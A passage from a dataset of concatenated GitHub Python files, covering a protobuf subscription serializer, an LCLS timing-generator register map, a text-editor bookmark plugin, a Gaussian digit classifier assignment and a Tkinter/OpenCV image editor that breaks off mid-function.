= Publication()\n# publication.car_model = pub.car_model\n# publication.production_date = datetime.strftime(pub.production_date, \"%d-%m-%Y\")\n# publication.max_speed = pub.max_speed\n# publication.horsepower = pub.horsepower\n# publication.color = pub.color\n# print(publication)\n# publication.SerializeToString()\n# publication.Clear()\n\nsub_gen = SubscriptionsGenerator(subscriptions_count=2).generate()\nfor sub in sub_gen:\n subscription = Subscription()\n for key, value in sub.items():\n if key == \"car_model\":\n subscription.car_model.operator = value[\"operator\"]\n subscription.car_model.value = value[\"value\"]\n elif key == \"horsepower\":\n subscription.horsepower.operator = value[\"operator\"]\n subscription.horsepower.value = value[\"value\"]\n elif key == \"production_date\":\n subscription.production_date.operator = value[\"operator\"]\n subscription.production_date.value = value[\"value\"]\n elif key == \"color\":\n subscription.color.operator = value[\"operator\"]\n subscription.color.value = value[\"value\"]\n elif key == \"max_speed\":\n subscription.max_speed.operator = value[\"operator\"]\n subscription.max_speed.value = value[\"value\"]\n print(subscription)\n x = subscription.SerializeToString()\n subscription.Clear()\n print(x, type(x))\n S = Subscription()\n S.ParseFromString(x)\n print(S)\n","repo_name":"iuliangabriel97/EventBasedSystemProject","sub_path":"project/serialize.py","file_name":"serialize.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"3802037233","text":"#-----------------------------------------------------------------------------\n# Title : PyRogue Timing pattern generator control\n#-----------------------------------------------------------------------------\n# Description:\n# PyRogue Timing pattern generator control\n#-----------------------------------------------------------------------------\n# This file is part of the 'LCLS Timing Core'. It is subject to\n# the license terms in the LICENSE.txt file found in the top-level directory\n# of this distribution and at:\n# https://confluence.slac.stanford.edu/display/ppareg/LICENSE.html.\n# No part of the 'LCLS Timing Core', including this file, may be\n# copied, modified, propagated, or distributed except according to the terms\n# contained in the LICENSE.txt file.\n#-----------------------------------------------------------------------------\n\nimport pyrogue as pr\n\nclass TPGControl(pr.Device):\n def __init__( self,\n name = \"TPGControl\",\n description = \"Timing pattern generator control\",\n **kwargs):\n super().__init__(name=name, description=description, **kwargs)\n\n ##############################\n # Variables\n ##############################\n\n self.add(pr.RemoteVariable(\n name = \"NBeamSeq\",\n description = \"Number of beam control sequences\",\n offset = 0x00,\n bitSize = 8,\n bitOffset = 0x00,\n mode = \"RO\",\n pollInterval = 1,\n ))\n\n self.add(pr.RemoteVariable(\n name = \"NControlSeq\",\n description = \"Number of experiment control sequences\",\n offset = 0x01,\n bitSize = 8,\n bitOffset = 0x00,\n mode = \"RO\",\n pollInterval = 1,\n ))\n\n self.add(pr.RemoteVariable(\n name = \"NArraysBSA\",\n description = \"Number of BSA arrays\",\n offset = 0x02,\n bitSize = 8,\n bitOffset = 0x00,\n mode = \"RO\",\n pollInterval = 1,\n ))\n\n self.add(pr.RemoteVariable(\n name = \"SeqAddrLen\",\n description = \"Sequence instruction at offset bus width\",\n offset = 0x03,\n bitSize = 4,\n bitOffset = 0x00,\n mode = \"RO\",\n pollInterval = 1,\n ))\n\n self.add(pr.RemoteVariable(\n name = \"NAllowSeq\",\n description = \"Number of allow table sequences\",\n offset = 0x03,\n bitSize = 4,\n bitOffset = 0x04,\n mode = \"RO\",\n pollInterval = 1,\n ))\n\n self.add(pr.RemoteVariable(\n name = \"ClockPeriod\",\n description = \"Period of beam synchronous clock (ns/cycle)\",\n offset = 0x04,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"BaseControl\",\n description = \"Base rate control divisor\",\n offset = 0x08,\n bitSize = 16,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"ACDelay\",\n description = \"Adjustable delay for power line crossing measurement\",\n offset = 0x0C,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"PulseIdL\",\n description = \"Pulse ID lower word\",\n offset = 0x10,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"PulseIdU\",\n description = \"Pulse ID upper word\",\n offset = 0x14,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"TStampL\",\n description = \"Time stamp lower word\",\n offset = 0x18,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"TStampU\",\n description = \"Time stamp upper word\",\n offset = 0x1C,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.addRemoteVariables(\n name = \"ACRateDiv\",\n description = \"Power line synch rate marker divisors\",\n offset = 0x20,\n bitSize = 8,\n bitOffset = 0x00,\n mode = \"RW\",\n number = 6,\n stride = 1,\n )\n\n self.addRemoteVariables(\n name = \"FixedRateDiv\",\n description = \"Fixed rate marker divisors\",\n offset = 0x40,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n number = 10,\n stride = 4,\n )\n\n self.add(pr.RemoteVariable(\n name = \"RateReload\",\n description = \"Loads cached ac/fixed rate marker divisors\",\n offset = 0x68,\n bitSize = 1,\n bitOffset = 0x00,\n mode = \"WO\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"Sync\",\n description = \"Sync status with 71kHz\",\n offset = 0x70,\n bitSize = 1,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"IrqFifoEnable\",\n description = \"Enable sequence checkpoint interrupt\",\n offset = 0x74,\n bitSize = 1,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"IrqIntvEnable\",\n description = \"Enable interval counter interrupt\",\n offset = 0x74,\n bitSize = 1,\n bitOffset = 0x01,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"IrqBsaEnable\",\n description = \"Enable BSA complete interrupt\",\n offset = 0x74,\n bitSize = 1,\n bitOffset = 0x02,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"IrqEnable\",\n description = \"Enable interrupts\",\n offset = 0x77,\n bitSize = 1,\n bitOffset = 0x07,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"IrqIntvStatus\",\n description = \"Interval counters updated\",\n offset = 0x78,\n bitSize = 1,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"IrqBsaStatus\",\n description = \"BSA complete updated\",\n offset = 0x78,\n bitSize = 1,\n bitOffset = 0x01,\n mode = \"RO\",\n pollInterval = 1,\n ))\n\n self.add(pr.RemoteVariable(\n name = \"SeqFifoData\",\n description = \"Sequence checkpoint data\",\n offset = 0x7C,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RO\",\n pollInterval = 1,\n ))\n\n self.addRemoteVariables(\n name = \"BeamSeqCntl\",\n description = \"Beam sequence arbitration control\",\n offset = 0x80,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n number = 16,\n stride = 4,\n )\n\n self.add(pr.RemoteVariable(\n name = \"SeqResetL\",\n description = \"Sequence restart lower word\",\n offset = 0x100,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"WO\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"SeqResetU\",\n description = \"Sequence restart upper word\",\n offset = 0x104,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"WO\",\n ))\n\n self.addRemoteVariables(\n name = \"BeamEnergy\",\n description = \"Beam energy meta data\",\n offset = 0x120,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n number = 4,\n stride = 4,\n )\n\n self.add(pr.RemoteVariable(\n name = \"BeamDiagCntl\",\n description = \"Beam diagnostic buffer control\",\n offset = 0x1E4,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"WO\",\n ))\n\n self.addRemoteVariables(\n name = \"BeamDiagStat\",\n description = \"Beam diagnostic latched status\",\n offset = 0x1E8,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RO\",\n number = 4,\n stride = 4,\n pollInterval = 1,\n )\n\n self.add(pr.RemoteVariable(\n name = \"BsaCompleteL\",\n description = \"Bsa buffers complete lower word\",\n offset = 0x1F8,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.add(pr.RemoteVariable(\n name = \"BsaCompleteU\",\n description = \"Bsa buffers complete upper word\",\n offset = 0x1FC,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n ))\n\n self.addRemoteVariables(\n name = \"BsaEventSel\",\n description = \"Bsa definition rate/destination selection\",\n offset = 0x200,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n number = 64,\n stride = 8,\n )\n\n self.addRemoteVariables(\n name = \"BsaStatSel\",\n description = \"Bsa definition samples to average/acquire\",\n offset = 0x204,\n bitSize = 32,\n bitOffset = 0x00,\n mode = \"RW\",\n number = 64,\n stride = 8,\n )\n","repo_name":"slaclab/lcls-timing-core","sub_path":"python/LclsTimingCore/TPGControl.py","file_name":"TPGControl.py","file_ext":"py","file_size_in_byte":11201,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"70981645670","text":"# Programmer: limodou\n# E-mail: limodou@gmail.com\n# \n# Copyleft 2006 limodou\n# \n# Distributed under the terms of the GPL (GNU Public License)\n# \n# UliPad is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n#\n# $Id: mBookmark.py 1665 2006-11-07 13:20:21Z limodou $\n\nimport wx\nfrom modules import Mixin\n\ndef editor_init(win):\n win.SetMarginWidth(0, 20)\n win.SetMarginType(0, wx.stc.STC_MARGIN_SYMBOL)\n\n win.SetMarginMask(0, ~wx.stc.STC_MASK_FOLDERS)\n win.MarkerDefine(0, wx.stc.STC_MARK_SHORTARROW, \"blue\", \"blue\")\nMixin.setPlugin('editor', 'init', editor_init)\n\ndef add_mainframe_menu(menulist):\n menulist.extend([ ('IDM_SEARCH',\n [\n (180, '', '-', wx.ITEM_SEPARATOR, None, ''),\n (190, 'IDM_SEARCH_BOOKMARK_TOGGLE', tr('Toggle Marker') + '\\tE=F9', wx.ITEM_NORMAL, 'OnSearchBookmarkToggle', tr('Set and clear marker at current line.')),\n (200, 'IDM_SEARCH_BOOKMARK_CLEARALL', tr('Clear All Markers') + '\\tE=Ctrl+Shift+F9', wx.ITEM_NORMAL, 'OnSearchBookmarkClearAll', tr('Clears all markers from the current document.')),\n (210, 'IDM_SEARCH_BOOKMARK_PREVIOUS', tr('Previous Marker') + '\\tE=Shift+F8', wx.ITEM_NORMAL, 'OnSearchBookmarkPrevious', tr('Goes to previous marker position.')),\n (220, 'IDM_SEARCH_BOOKMARK_NEXT', tr('Next Marker') + '\\tE=F8', wx.ITEM_NORMAL, 'OnSearchBookmarkNext', tr('Goes to next marker position.')),\n ]),\n ])\nMixin.setPlugin('mainframe', 'add_menu', add_mainframe_menu)\n\ndef OnSearchBookmarkToggle(win, event):\n line = win.document.GetCurrentLine()\n marker = win.document.MarkerGet(line)\n if marker & 1:\n win.document.MarkerDelete(line, 0)\n else:\n win.document.MarkerAdd(line, 0)\nMixin.setMixin('mainframe', 'OnSearchBookmarkToggle', OnSearchBookmarkToggle)\n\ndef OnSearchBookmarkClearAll(win, event):\n win.document.MarkerDeleteAll(0)\nMixin.setMixin('mainframe', 'OnSearchBookmarkClearAll', OnSearchBookmarkClearAll)\n\ndef OnSearchBookmarkNext(win, event):\n line = win.document.GetCurrentLine()\n marker = win.document.MarkerGet(line)\n if marker & 1:\n line += 1\n f = win.document.MarkerNext(line, 1)\n if f > -1:\n win.document.goto(f + 1)\n else:\n f = win.document.MarkerNext(0, 1)\n if f > -1:\n win.document.goto(f + 1)\nMixin.setMixin('mainframe', 'OnSearchBookmarkNext', OnSearchBookmarkNext)\n\ndef OnSearchBookmarkPrevious(win, event):\n line = win.document.GetCurrentLine()\n marker = win.document.MarkerGet(line)\n if marker & 1:\n line -= 1\n f = win.document.MarkerPrevious(line, 1)\n if f > -1:\n win.document.goto(f + 1)\n else:\n f = win.document.MarkerPrevious(win.document.GetLineCount()-1, 1)\n if f > -1:\n win.document.goto(f + 1)\nMixin.setMixin('mainframe', 'OnSearchBookmarkPrevious', OnSearchBookmarkPrevious)\n","repo_name":"limodou/ulipad","sub_path":"mixins/mBookmark.py","file_name":"mBookmark.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","stars":242,"dataset":"github-code","pt":"71"} +{"seq_id":"26096999146","text":"'''\r\nQuestion 1 Skeleton Code\r\n\r\nHere you should implement and evaluate the Conditional Gaussian classifier.\r\n'''\r\n\r\nimport data\r\nimport numpy as np\r\n# Import pyplot - plt.imshow is useful!\r\nimport matplotlib.pyplot as plt\r\n\r\ndef compute_mean_mles(train_data, train_labels):\r\n '''\r\n Compute the mean estimate for each digit class\r\n\r\n Should return a numpy array of size (10,64)\r\n The ith row will correspond to the mean estimate for digit class i\r\n '''\r\n means = np.zeros((10, 64))\r\n # create a dictionary to record num for each digit class\r\n d = {}\r\n for label in train_labels:\r\n if label not in d:\r\n d[label] = 1\r\n else:\r\n d[label] = d[label] + 1\r\n\r\n # Compute means\r\n for i in range(len(train_labels)):\r\n label = int(train_labels[i])\r\n means[label] += train_data[i]\r\n\r\n means = means/700 #based on the result of dictionary where 700 example for each labels\r\n return means\r\n\r\n\r\ndef compute_sigma_mles(train_data, train_labels):\r\n '''\r\n Compute the covariance estimate for each digit class\r\n\r\n Should return a three dimensional numpy array of shape (10, 64, 64)\r\n consisting of a covariance matrix for each digit class\r\n '''\r\n covariances = np.zeros((10, 64, 64))\r\n # Compute covariances\r\n means = compute_mean_mles(train_data, train_labels)\r\n\r\n # create a dictionary to record num for each digit class\r\n d = {}\r\n for label in train_labels:\r\n if label not in d:\r\n d[label] = 1\r\n else:\r\n d[label] = d[label] + 1\r\n\r\n # use the training example to fill the covariance matrix\r\n for i in range(len(train_data)):\r\n label = int(train_labels[i])\r\n term = (train_data[i] - means[label])[:,None]\r\n stuff = ( term @ term.T)\r\n covariances[label] += stuff\r\n\r\n # update convariance matrix by dividing len of each digit class\r\n # add 0.01I\r\n for i in range(10):\r\n covariances[i] = covariances[i]/d[i] + 0.01* np.identity(64)\r\n return covariances\r\n\r\ndef generative_likelihood(digits, means, covariances):\r\n '''\r\n Compute the generative log-likelihood:\r\n log p(x|y,mu,Sigma)\r\n\r\n Should return an n x 10 numpy array \r\n '''\r\n # num of example\r\n num_example = len(digits)\r\n res = np.zeros((num_example, 10))\r\n\r\n for i in range(len(digits)):\r\n digit = digits[i]\r\n for k in range(10):\r\n mean = means[k]\r\n cov_matrix = covariances[k]\r\n part_1 = -32 * np.log(2*np.pi) - 0.5 * np.log(np.linalg.det(cov_matrix))\r\n part_2 = -0.5 * (np.transpose(digit - mean)@ np.linalg.inv(cov_matrix)@(digit - mean))\r\n log_likelihood = part_1 + part_2\r\n res[i,k] = log_likelihood\r\n return res\r\n\r\n\r\ndef conditional_likelihood(digits, means, covariances):\r\n '''\r\n Compute the conditional likelihood:\r\n\r\n log p(y|x, mu, Sigma)\r\n\r\n This should be a numpy array of shape (n, 10)\r\n Where n is the number of datapoints and 10 corresponds to each digit class\r\n '''\r\n num_example = len(digits)\r\n res = np.zeros((num_example, 10))\r\n\r\n # get matrix of log p(x|y,mu,Sigma)\r\n\r\n helper_matrix = generative_likelihood(digits, means, covariances)\r\n\r\n for i in range(num_example):\r\n sum_prob = np.sum(np.exp(helper_matrix[i])) #sum_k p(x|y,mu,Sigma)\r\n for k in range(10):\r\n inference = np.log(0.1) + helper_matrix[i,k] - np.log(sum_prob)\r\n res[i,k] = inference\r\n return res\r\n\r\n\r\ndef avg_conditional_likelihood(digits, labels, means, covariances):\r\n '''\r\n Compute the average conditional likelihood over the true class labels\r\n\r\n AVG( log p(y_i|x_i, mu, Sigma) )\r\n\r\n i.e. the average log likelihood that the model assigns to the correct class label\r\n '''\r\n cond_likelihood = conditional_likelihood(digits, means, covariances)\r\n sum = 0\r\n for i in range(len(labels)):\r\n label = int(labels[i])\r\n sum += cond_likelihood[i, label]\r\n\r\n # Compute as described above and return\r\n return sum/len(labels)\r\n\r\ndef classify_data(digits, means, covariances):\r\n '''\r\n Classify new points by taking the most likely posterior class\r\n '''\r\n cond_likelihood = conditional_likelihood(digits, means, covariances)\r\n # Compute and return the most likely class\r\n res = []\r\n for array in cond_likelihood:\r\n most_possible_class = array.argmax()\r\n res.append(most_possible_class)\r\n return res\r\n\r\ndef main():\r\n train_data, train_labels, test_data, test_labels = data.load_all_data('data')\r\n # Fit the model\r\n means = compute_mean_mles(train_data, train_labels)\r\n covariances = compute_sigma_mles(train_data, train_labels)\r\n\r\n # Evaluation\r\n train_avg_conditional_log_likelihood = avg_conditional_likelihood(train_data, train_labels, means, covariances)\r\n test_avg_conditional_log_likelihood = avg_conditional_likelihood(test_data, test_labels, means, covariances)\r\n print('The average conditional log-likehood for train set: {}'.format(train_avg_conditional_log_likelihood))\r\n print('The average conditional log-likehood for test set: {}'.format(test_avg_conditional_log_likelihood))\r\n\r\n train_set_predict = classify_data(train_data, means, covariances)\r\n test_set_predict = classify_data(test_data, means, covariances)\r\n\r\n train_set_accuracy = sum(train_set_predict == train_labels) / len(train_labels)\r\n test_set_accuracy = sum(test_set_predict == test_labels) / len(test_labels)\r\n\r\n print('The accuracy of train set prediction is {}'.format(train_set_accuracy))\r\n print('The accuracy of test set prediction is {}'.format(test_set_accuracy))\r\n\r\n # for each class, plot the leading eigenvector.\r\n k = 1\r\n for cov in covariances:\r\n eigenvalues, eigenvectors = np.linalg.eig(cov)\r\n leading_eigenvector = eigenvectors.T[0] #first column of eigenvector matrix\r\n #reshape\r\n leading_eigenvector = leading_eigenvector.reshape((8,8))\r\n plt.title(\"Class {}\".format(str(k)))\r\n plt.set_cmap('gray')\r\n plt.imshow(leading_eigenvector)\r\n plt.show()\r\n k+=1\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"TrellixVulnTeam/University-of-Toronto_IATR","sub_path":"CS/CSC411/To Submit/hw5/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":6206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"11573016743","text":"import math\nimport random\nimport threading\nimport time\nimport tkinter\nfrom tkinter import *\nfrom tkinter import filedialog\nfrom tkinter.messagebox import showinfo, askyesno\nfrom tkinter.ttk import Progressbar\n\nimport cv2\nimport numpy as np\nfrom PIL import Image, ImageTk\nfrom rembg import remove\nfrom ttkbootstrap import Style\n\nimport tiler\nimport conf\n\n\ndef Showimage(cv2_img, canva, layout=\"fit\", TYPE=0):\n \"\"\"\n Displaying OpenCV Images in the Canvas Widget of Tkinter\n !!!! This includes a global variable named \"imgTK\"!!!! Please do not use this variable name elsewhere!\n \"canvas\": Tkinter canvas variable used for display\n \"layout\": Display format. Options are:\n \"fill\": Image automatically adapts to canvas size and fills it completely, possibly causing distortion.\n \"fit\": Displays the image as large as possible without distorting it, leaving edges blank if necessary, depending on the canvas size.\n \"type\": Display type. By default, type 0 will be recorded in the snapshot, while other types will not be.\n \"\"\"\n if TYPE == 0:\n fastFlash(cv2_img)\n\n global imgTK\n canvas_width = int(canva.winfo_reqwidth())\n canvas_height = int(canva.winfo_reqheight())\n sp = cv2_img.shape\n cv_height = sp[0] # height(rows) of image\n cv_width = sp[1] # width(columns) of image\n if layout == \"fill\":\n imgCV = cv2.resize(cv2_img, (canvas_width, canvas_height), interpolation=cv2.INTER_AREA)\n elif layout == \"fit\":\n if float(cv_width / cv_height) > float(canvas_width / canvas_height):\n imgCV = cv2.resize(cv2_img, (canvas_width, int(canvas_width * cv_height / cv_width)),\n interpolation=cv2.INTER_AREA)\n else:\n imgCV = cv2.resize(cv2_img, (int(canvas_height * cv_width / cv_height), canvas_height),\n interpolation=cv2.INTER_AREA)\n else:\n imgCV = cv2_img\n imgCV2 = cv2.cvtColor(imgCV, cv2.COLOR_BGR2RGBA) # Convert colors from BGR to RGBA\n current_image = Image.fromarray(imgCV2) # Converting images to Image objects\n imgTK = ImageTk.PhotoImage(image=current_image) # Converting image objects to imageTK objects\n imgX = (700 - imgTK.width()) / 2\n imgY = (500 - imgTK.height()) / 2\n canva.create_image(imgX, imgY, anchor=NW, image=imgTK)\n\n\ndef findIMG(event=None):\n # Open the local file browser and select the image to display\n global canvas\n filename.set(filedialog.askopenfilename()) # Get the selected file\n global IMG\n global IMGs\n global position\n IMGs.clear()\n position = 0\n\n IMG = cv2.imread(filename.get())\n Showimage(IMG, canvas, 'fit')\n\n\ndef restoreByMouse(event):\n # Use the right mouse button to reset the image\n global canvas\n global IMG\n IMG = cv2.imread(filename.get())\n Showimage(IMG, canvas, 'fit')\n rotate_scale.set(0)\n enlarge_scale.set(1)\n cutR.set(1)\n cutL.set(0)\n cutD.set(1)\n cutU.set(0)\n\n\ndef restore(event=None):\n # Reset image and control components\n global canvas\n global IMG\n IMG = cv2.imread(filename.get())\n Showimage(IMG, canvas, 'fit')\n rotate_scale.set(0)\n enlarge_scale.set(1)\n cutR.set(1)\n cutL.set(0)\n cutD.set(1)\n cutU.set(0)\n\n\ndef fileSave(event=None):\n new_name = filedialog.asksaveasfilename(\n defaultextension='.png') # Set the save file and return the file name, specify the file name suffix as .png\n new_filename.set(new_name) # Set the value of the variable filename\n # print(str(new_filename.get()))\n temp = img_rotate(IMG, rotate_value.get()) # Rotate first\n sp = temp.shape\n x = int(sp[0] / enlarge_value.get())\n y = int(sp[1] / enlarge_value.get())\n sIMG = temp[sp[0] - x:x, sp[1] - y:y] # Zoom in again\n cv2.imwrite(new_filename.get(), sIMG)\n showinfo(title=\"\", message=\"The file is saved successfully\")\n\n\ndef img_rotate(image, angle):\n # Image rotation with image and rotation angle\n (h, w) = image.shape[0:2]\n (cX, cY) = (w // 2, h // 2)\n # Calculate the transformation matrix, the parameters are represented once (center of rotation, rotation angle,\n # scaling factor), where the rotation angle is counterclockwise\n M = cv2.getRotationMatrix2D((cX, cY), -angle, 1.0)\n # Resize the output image\n nH = int(abs(h * math.cos(math.radians(angle))) + abs(w * math.sin(math.radians(angle))))\n nW = int(abs(h * math.sin(math.radians(angle))) + abs(w * math.cos(math.radians(angle))))\n M[0, 2] += (nW / 2) - cX\n M[1, 2] += (nH / 2) - cY\n return cv2.warpAffine(image, M, (nW, nH))\n\n\ndef rotate_IMG(angle):\n global IMG\n global canvas\n rotate_value.set(int(angle))\n temp = img_rotate(IMG, int(angle))\n value = enlarge_value.get()\n sp = temp.shape\n x = int(sp[0] / value)\n y = int(sp[1] / value)\n sIMG = temp[sp[0] - x:x, sp[1] - y:y]\n Showimage(sIMG, canvas, TYPE=1)\n\n\ndef enlarge_IMG(value):\n global canvas\n global IMG\n value = float(value)\n enlarge_value.set(value)\n temp = img_rotate(IMG, rotate_value.get())\n sp = temp.shape\n x = int(sp[0] / value)\n y = int(sp[1] / value)\n sIMG = temp[sp[0] - x:x, sp[1] - y:y]\n Showimage(sIMG, canvas, TYPE=1)\n\n\ndef openCutWin():\n cut_window = Tk()\n cut_window.title(\"cut image\")\n cut_window.geometry(\"800x600\")\n canvas_cut = tkinter.Canvas(root, width=600, height=450, bg=\"white\")\n canvas_cut.place(x=10, y=10, width=600, height=450)\n temp = cv2.imread(filename.get())\n Showimage(temp, canvas_cut, 'fit')\n\n\ndef cutIMG(value):\n global IMG\n angle = rotate_value.get()\n temp = img_rotate(IMG, angle)\n value = enlarge_value.get()\n sp = temp.shape\n x = int(sp[0] / value)\n y = int(sp[1] / value)\n sIMG = temp[sp[0] - x:x, sp[1] - y:y]\n sp = sIMG.shape\n L = int(sp[1] * cutL.get())\n R = int(sp[1] * cutR.get())\n if R <= L:\n R = L + 1\n U = int(sp[0] * cutU.get())\n D = int(sp[0] * cutD.get())\n if D <= U:\n D = U + 1\n sIMG = sIMG[U:D, L:R]\n Showimage(sIMG, canvas, TYPE=1)\n\n\ndef mixIMG(value):\n global IMG\n global canvas\n global cover\n R1 = mixL.get()\n R2 = mixR.get()\n cover = cv2.resize(cover, (IMG.shape[1], IMG.shape[0]))\n tIMG = cover * R2 + IMG * R1\n np.clip(tIMG, 0, 255, tIMG)\n tIMG = tIMG.astype(\"uint8\")\n Showimage(tIMG, canvas, TYPE=1)\n\n\ndef temp_save():\n \"\"\"\n Temporarily save the current processing results\n :return:\n \"\"\"\n global IMG\n global cover\n angle = rotate_value.get()\n temp = img_rotate(IMG, angle)\n value = enlarge_value.get()\n sp = temp.shape\n x = int(sp[0] / value)\n y = int(sp[1] / value)\n sIMG = temp[sp[0] - x:x, sp[1] - y:y]\n sp = sIMG.shape\n L = int(sp[1] * cutL.get())\n R = int(sp[1] * cutR.get())\n U = int(sp[0] * cutU.get())\n D = int(sp[0] * cutD.get())\n IMG = sIMG[U:D, L:R]\n\n R1 = mixL.get()\n R2 = mixR.get()\n cover = cv2.resize(cover, (IMG.shape[1], IMG.shape[0]))\n tIMG = cover * R2 + IMG * R1\n np.clip(tIMG, 0, 255, tIMG)\n tIMG = tIMG.astype(\"uint8\")\n IMG = tIMG\n\n tIMG = IMG.astype(\"float32\")\n tIMG[:, :, 0] = IMG[:, :, 0] * (0.5 + RGB_G.get())\n tIMG[:, :, 1] = IMG[:, :, 1] * (0.5 + RGB_B.get())\n tIMG[:, :, 2] = IMG[:, :, 2] * (0.5 + RGB_R.get())\n tIMG[IMG > 255] = 255\n IMG = tIMG.astype(\"uint8\")\n\n rotate_scale.set(0)\n enlarge_scale.set(1)\n cutR.set(1)\n cutL.set(0)\n cutD.set(1)\n cutU.set(0)\n mixL.set(1)\n mixR.set(0)\n RGB_R.set(0.5)\n RGB_B.set(0.5)\n RGB_G.set(0.5)\n\n enlarge_scale.pack_forget()\n rotate_scale.pack_forget()\n cut_scaleD.pack_forget()\n cut_scaleL.pack_forget()\n cut_scaleR.pack_forget()\n cut_scaleU.pack_forget()\n mix_scaleL.pack_forget()\n mix_scaleR.pack_forget()\n R_scale.pack_forget()\n G_scale.pack_forget()\n B_scale.pack_forget()\n adjust_mole.set(\" \")\n Showimage(tIMG, canvas)\n\n\ndef img_colorless(img, h):\n \"\"\"\n :param img: Input Image\n :param h: Depigmentation factor, the larger the value the stronger the depigmentation effect\n :return: Return the image after the color removal is completed\n \"\"\"\n img = np.round(img / h)\n img = img * h\n return img\n\n\ndef img_colorMix(img, k, m, n):\n \"\"\"\n :param img: input\n :param k: G\n :param m: B\n :param n: R\n :return: Image after the color removal is completed\n \"\"\"\n temp = img\n temp[:, :, k] = img[:, :, 0]\n temp[:, :, m] = img[:, :, 1]\n temp[:, :, n] = img[:, :, 2]\n return temp\n\n\ndef img_popart():\n \"\"\"\n :param img: input\n :return: pop art image\n \"\"\"\n global IMG\n global canvas\n sp = IMG.shape\n temp = img_colorless(IMG, 64) # Lower the color gradation\n # temp = img_watercolour(img)\n tIMG = np.zeros(shape=[sp[0] * 2 + 30, sp[1] * 3 + 40, 3]) # Large image for display\n tIMG = tIMG.astype(\"uint8\")\n tIMG[10:sp[0] + 10, 10:sp[1] + 10, :] = 125 - img_colorMix(temp, 0, 2, 1)\n tIMG[10:sp[0] + 10, sp[1] + 20:2 * sp[1] + 20, :] = img_colorMix(temp, 0, 1, 2)\n tIMG[10:sp[0] + 10, 2 * sp[1] + 30:3 * sp[1] + 30, :] = img_colorMix(temp, 1, 0, 2)\n tIMG[20 + sp[0]:2 * sp[0] + 20, 10:sp[1] + 10, :] = img_colorMix(temp, 0, 0, 0)\n tIMG[20 + sp[0]:2 * sp[0] + 20, sp[1] + 20:2 * sp[1] + 20, :] = img_colorMix(temp, 0, 2, 2)\n tIMG[20 + sp[0]:2 * sp[0] + 20, 2 * sp[1] + 30:3 * sp[1] + 30, :] = IMG\n IMG = img_adjustSize(tIMG, 1000)\n Showimage(tIMG, canvas)\n\n\ndef img_watercolour(s=100, r=0.3):\n global IMG\n global canvas\n if s > 200:\n s = 200\n if r > 1:\n r = 1\n IMG = cv2.stylization(IMG, sigma_s=s, sigma_r=r)\n Showimage(IMG, canvas)\n\n\nclass OilPaintingThread(threading.Thread):\n def run(self):\n global IMG\n IMG = img_adjustSize(IMG, 300)\n IMG = oilPainting(IMG, 4, 8, 1)\n time_scale.pack_forget()\n P.set(100)\n Showimage(IMG, canvas)\n P.set(0)\n\n\ndef img_oilPainting():\n show_JDT()\n thread1 = OJDThread()\n thread2 = OilPaintingThread()\n thread1.start()\n thread2.start()\n\n\ndef oilPainting(img, templateSize, bucketSize, step):\n \"\"\"\n :param img: input\n :param templateSize: template size,step\n :param bucketSize: bucket size\n :param step: slide step\n :return: Oil painting effect img\n \"\"\"\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n gray = ((gray / 256) * bucketSize).astype(int) # Partitions in the bucket to which the grayscale map belongs\n h, w = img.shape[:2]\n oilImg = np.zeros([h, w, 3], np.uint8) # Used to store filtered images\n\n for i in range(0, h, step):\n top = i - templateSize\n bottom = i + templateSize + 1\n if top < 0:\n top = 0\n if bottom >= h:\n bottom 